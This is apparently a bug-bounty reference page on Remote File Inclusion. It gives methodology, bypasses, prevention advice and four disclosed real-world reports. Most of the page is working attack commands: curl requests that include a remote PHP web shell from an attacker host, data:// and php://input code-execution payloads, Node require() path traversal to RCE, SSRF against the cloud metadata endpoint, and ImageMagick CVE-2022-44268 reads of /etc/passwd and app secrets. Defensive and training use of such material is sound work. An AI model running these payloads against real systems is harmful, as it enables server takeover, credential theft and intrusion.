β Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
β Thin coverage β only 4 disclosed reports for this class; illustrative, not exhaustive.
Β§Basic information
Remote File Inclusion (RFI) is what happens when attacker input decides which file, module, or URL the server loads β not merely which data it reads. The classic form is include($_GET['page']) reaching out to http://COLLAB/shell.txt, but the primitive is broader than PHP: any time a request value flows into a load API β include/require/import, an image library that embeds a file you name, a headless-browser renderer, or a fetch(url=) proxy β a data channel becomes a code/content-load channel.
The distinction from path traversal / LFI is where the resource comes from and what the server does with it. LFI reads a local file; RFI pulls (or names) an arbitrary resource β a remote script, an out-of-tree .js, a loopback URL, or an on-disk file the app never meant to touch. Because the endpoint of the channel is a loader, RFI is almost always a step to RCE, arbitrary file read, or SSRF, rarely a leaf bug. The whole game is finding the sink where "which file" is attacker-controlled and the loader trusts it.
Β§Methodology
Find load sinks. For every parameter, path segment, and uploaded artifact, ask: does my input pick the file/module/URL the server loads? Grep the surface for ?url=, ?page=, ?file=, ?path=, ?template=, ?src=, anything ending in a filename, and any endpoint that hands back a processed copy of what you uploaded.
Fire an out-of-band canary. Point the suspected loader at your collaborator and watch for a server-side hit β a real fetch resolves it; string reflection does not.
Classify the loader β remote-URL include (classic RFI), dynamic module require(), URL-fetch proxy/renderer, or media-library file embed. Each has a different confirm-and-weaponize path.
Confirm control, not just reachability. A traversal that errors with module-not-found proves your input is joined into the load path; a rendered remote <script> proves the origin trusts your content.
# Universal RFI/SSRF canary: does input reach a real server-side fetch?
curl 'http://TARGET/index.php?page=http://COLLAB/canary'
# tell: COLLAB logs a request -> the loader fetches attacker URLs (RFI/SSRF live)
Β§Load-sink variants
Identify which loader your input reaches, then use the matching confirm-and-weaponize block.
Classic remote-URL include (PHP)
include/require/include_once on a value you control, with allow_url_include=On (and allow_url_fopen=On). Point it at a remote script; the interpreter fetches and executes it in-process.
# Host shell.txt: <?php system($_GET['c']); ?> (NOT a .php file β you want the raw source served)
curl 'http://TARGET/index.php?page=http://COLLAB/shell.txt&c=id'
If the app appends an extension (include($page . ".php")), strip it with a query/fragment so the remote fetch ignores the suffix:
# server requests http://COLLAB/shell.txt?.php -> the ?.php is just a querystring, source still runs
curl 'http://TARGET/index.php?page=http://COLLAB/shell.txt%3f'
# fragment variant: http://COLLAB/shell.txt%23 (the #.php is dropped by the fetch)
When the outbound fetch is blocked (allow_url_fopen=Off) but the include still evaluates PHP, pivot to fetch-free wrappers (this is the RFIβLFI boundary β same sink, local payload). Note the flag dependency: data:// and php://input still require allow_url_include=On (they only skip the network fetch), whereas php://filter works even with it Off:
# data:// wrapper β inline the payload, no remote host needed (needs allow_url_include=On)
curl 'http://TARGET/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+&c=id'
# php://input β POST the payload as the request body (needs allow_url_include=On)
curl -s 'http://TARGET/index.php?page=php://input' --data '<?php system("id"); ?>'
# php://filter β works with allow_url_include=Off; base64-read local source (chainable to RCE)
curl 'http://TARGET/index.php?page=php://filter/convert.base64-encode/resource=index.php'
Dynamic module load (Node require/import)
Routers that build a module path by joining a base dir with req.url and pass it to require(). The URL is a code-load sink β a traversal points require() at any .js on disk. Client-side normalization eats ../, so you must send it raw.
# --path-as-is preserves ../ so the traversal reaches the server-side require() join
curl --path-as-is 'http://TARGET/../../../../../../hack'
# tell: MODULE_NOT_FOUND / a side-effect from the loaded file confirms req.url -> require()
# (some frameworks need fewer segments): curl --path-as-is 'http://TARGET/../hack'
Weaponize by pairing with any attacker-writable path β an upload dir, a log file, a temp file β then require that file to execute it:
# after planting attacker.js via an upload/log-write primitive:
curl --path-as-is 'http://TARGET/../../../../../../var/www/uploads/attacker.js'
# require() loads and runs it -> RCE
URL-fetch proxy / renderer
"Fetch this URL and show it" features β plain.php?url=, link previews, "import from URL", HTML/URL-to-PDF renderers. With no host/scheme/filetype allowlist this is a double bug: remote content served from the trusted origin (XSS) and arbitrary internal reach (SSRF).
# host t.html: <script>alert(document.domain)</script>
curl 'http://TARGET/proxys/plain.php?url=http://COLLAB/t.html&operation=GetParameterInfo'
# remote HTML/JS now executes under TARGET's origin -> stored/reflected XSS
# then pivot url= at internal hosts/files -> SSRF / internal scan
curl 'http://TARGET/proxys/plain.php?url=http://169.254.169.254/latest/meta-data/'
Headless-Chrome "render my template" variants fetch the resources named in your HTML server-side β the same SSRF primitive, now reaching loopback-only services:
<!-- an <img>/<form>/<iframe> in the rendered template fires a server-side fetch -->
<img src="http://127.0.0.1:PORT/status">
Media-library file embed (image processors)
The subtlest RFI: no path appears in any URL param. A vulnerable ImageMagick (CVE-2022-44268) embeds the contents of a file you name in a PNG tEXtprofile chunk into the re-encoded output. Any resize/convert pipeline that hands the processed image back becomes an arbitrary local file read β the sink is the image library, not app code.
# 1) craft a PNG whose tEXt 'profile' value is an absolute target path (metabaseq PoC style):
# profile = /etc/passwd (or an app secret / config file)
# 2) upload it to ANY resize/avatar/thumbnail endpoint, download the processed copy, then:
identify -verbose resized.png # copy the 'Raw profile type:' hex blob
python3 -c "print(bytes.fromhex('2c2c2c...').decode())" # -> the leaked file contents
βΈ TIP
Probe every resize/convert/thumbnail endpoint, not just obvious upload forms β anything that returns a re-encoded copy of your image is a candidate. To hunt or to confirm prior exploitation, grep image metadata for the literal string tEXtprofile.
Β§Bypasses
Filter / control
Bypass
Seen in
Client-side path normalization strips ../
send the traversal with curl --path-as-is so ../ survives to the server-side require() join
#566056
No path/injection accepted in any URL param
put the target path in a PNG tEXtprofile chunk β the image library reads the file, app code never sees a path
#1858574
Naive JSON body parser on an internal RPC
enctype="text/plain" form POST smuggles a JSON body ({"test":1,"options":{...}}) past the parser to the loopback service
#660565
Random / unknown internal service port
HTML-to-PDF resource-load errors leak it (connect ECONNREFUSED 127.0.0.1:<port>); binary-scan 1024β65535
#660565
Host / filetype allowlist absent
a single unvalidated url= yields both remote-HTML XSS on the origin and SSRF
#192940
Appended .php extension on include
truncate with ?/# (shell.txt%3f) so the remote fetch drops the suffix; or null-byte on old PHP (%00)
general
β² WARNING
allow_url_include has defaulted to Off since PHP 5.2, so classic remote-URL RFI is rare on modern stacks. Do not stop at "remote include blocked" β the same include sink almost always still evaluates data://, php://input, and php://filter payloads (LFIβRCE), and the modern loader variants (Node require, media embeds, URL proxies) don't depend on that flag at all.
Β§Escalation & impact
Every RFI variant is a stepping stone, not an endpoint β chase the ceiling of the loader:
Remote/local code load β RCE β a fetched or on-disk script executes in-process. Classic PHP RFI is direct RCE; the Node require() variant reaches RCE the moment any attacker-writable path exists (#566056).
Media embed β arbitrary file read β secret exfiltration β CVE-2022-44268 reads app secrets and config off disk with no traversal or injection anywhere in a URL; severe enough to force full secret rotation (#1858574).
URL-fetch proxy β XSS on the trusted origin + SSRF β remote HTML rendered under the target's origin is stored/reflected XSS, and the same url= reaches internal hosts and cloud metadata (#192940). See the SSRF and XSS pages.
HTML-to-PDF SSRF β loopback port scan β unintended require β RCE β render-my-template SSRF, verbose debug-log error strings as a port oracle, then execModulePath to run a stored script β a full lowβcritical chain (#660565).
Β§Prevention
Never build a load path from request input. Map user input to a fixed allowlist of module/template names β never include()/require()/import() a value derived from req.url or a query param. A hard allowlist (not a ../ filter) is the durable fix.
Disable remote includes (allow_url_include=Off, and allow_url_fopen=Off where feasible) and, in code, block the php://, data://, and expect:// wrappers on any include sink.
Patch/upgrade the media library β ImageMagick β₯ 7.1.0-52 (or a distro build with the CVE-2022-44268 fix backported to the 6.9.x branch) removes the tEXt-profile read; a policy.xml can also disable the vulnerable coder as defense-in-depth.
URL-fetch features need a host + scheme + filetype allowlist, must render fetched content off-origin (sandboxed, never as text/html on the trusted domain), and must block RFC1918/loopback to kill the SSRF half.
Disable debug/verbose logging in production β differential error strings become port and service oracles.
Β§Tools
curl --path-as-is β send traversal that survives client-side normalization to reach require()/include() joins.
Burp Collaborator / interactsh β out-of-band confirmation for remote-include and SSRF fetches.
ImageMagick identify -verbose + the metabaseq CVE-2022-44268 PNG generator β craft and read the leaked Raw profile type hex.
Burp Repeater/Intruder β drive the loopback port scan and differential-error oracle.
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 4 in this class.
Real-world example
ImageMagick CVE-2022-44268 arbitrary file read via malicious PNG
Program securitySurface webChain local file read -> exfiltrate app secrets/config -> seTag file-upload
Root cause
A vulnerable ImageMagick (<7.1.0-52 / 6.9.x) embeds the contents of a file named in a PNG tEXt 'profile' chunk into the output image's raw profile when re-encoding. Any image-resize/convert pipeline that echoes the processed image back becomes an arbitrary local file read.
Method
Find an upload that resizes/re-encodes images server-side (avatar, profile picture, attachment thumbnailing).
Craft a PNG whose tEXt 'profile' chunk value is an absolute path to a target file (e.g. /etc/passwd or an app secret/config).
Upload it, then download the server-processed/resized copy.
Run `identify -verbose out.png`, take the `Raw profile type` hex blob and decode it to recover the file contents.
# build the malicious PNG (metabaseq PoC style): set tEXt 'profile' to target path
# then after download:
identify -verbose resized.png # read 'Raw profile type:' hex
python -c "print(bytes.fromhex('2c2c2c...').decode())"
Insight β Any server-side image processing that returns the re-encoded image is a candidate for CVE-2022-44268 file read β probe every resize/convert endpoint, not just obvious upload forms. Malicious payloads are detectable by the string 'tEXtprofile' in image metadata (useful both to hunt and to scan a corpus for prior exploitation).
Program nodejs-ecosystemSurface webChain HTML-to-PDF SSRF -> localhost port scan (debug-log oracle
Root cause
jsreport renders user HTML to PDF via headless Chrome (Puppeteer), giving the attacker server-side request forgery from within the report. A separate script-manager listens on a random localhost port and honors execModulePath (unintended require). SSRF is used to find and drive script-manager, executing an attacker-stored js file β full RCE.
Method
Supply an HTML template with remote/internal resource loads (img/form) β the PDF render fetches them server-side (SSRF).
Use Debug/logsToResponse mode: ECONNREFUSED vs HTTP 500 in the log distinguishes closed vs open localhost ports; a fast follow-up request leaks the exact port in 'connect ECONNREFUSED 127.0.0.1:<port>'.
Binary/divide-and-conquer scan 1024-65535 to locate script-manager's random port.
Store a js payload as a jsreport script (pwn.js).
From a rendered template, auto-submit a form POST to the script-manager port with execModulePath pointing at the stored script's content.js to execute it.
Insight β Any 'render my HTML/URL to PDF/image' feature is an SSRF primitive; combine it with a loopback-only internal service that trusts localhost to reach otherwise-unreachable RCE sinks. Verbose/debug log modes are a port-oracle β differential error messages leak internal service ports. enctype=text/plain form POST smuggles a JSON body past a naive parser.
larvitbase-api/www build a controller module path by joining a base dir with the request URL (req.urlBase) and pass it to require(); a traversal in the URL forces require() to load arbitrary .js files on disk that were never meant to run as controllers.
Method
Identify a Node app that dynamically require()s a module derived from the request path.
Send a path-traversal URL (use curl --path-as-is so ../ is not normalized client-side) to point require() at an out-of-tree .js file.
Observe execution of the unintended module (side effects / errors confirm load).
Insight β When routing maps req.url straight into require()/import()/include path, the URL is a code-load sink, not just a data sink β the transferable primitive is 'attacker controls the x in require(x)'. Combine with any writable-file bug (upload, log, temp) to reach RCE. Always send traversal with --path-as-is to defeat client-side normalization.
Program deptofdefenseSurface webChain RFI/remote-content render -> reflected XSS on trusted ori
Root cause
A proxy endpoint (plain.php?url=) fetches and renders the content of any attacker-supplied URL with no host/filetype whitelist, so attacker-hosted HTML/JS is served from the trusted origin (stored/reflected XSS) and internal hosts can be reached (SSRF).
Method
Host t.html with a <script> payload on your server
Request plain.php?url=http://attacker/t.html&...
Response renders your HTML/JS under the target origin
Point url= at internal IPs/files to scan/reach internal resources
Insight β Any 'fetch this URL and show it' feature (proxy, preview, import) without a whitelist is a double bug: remote content rendered on your origin = XSS, and arbitrary url= = SSRF/internal scanning. Test both immediately.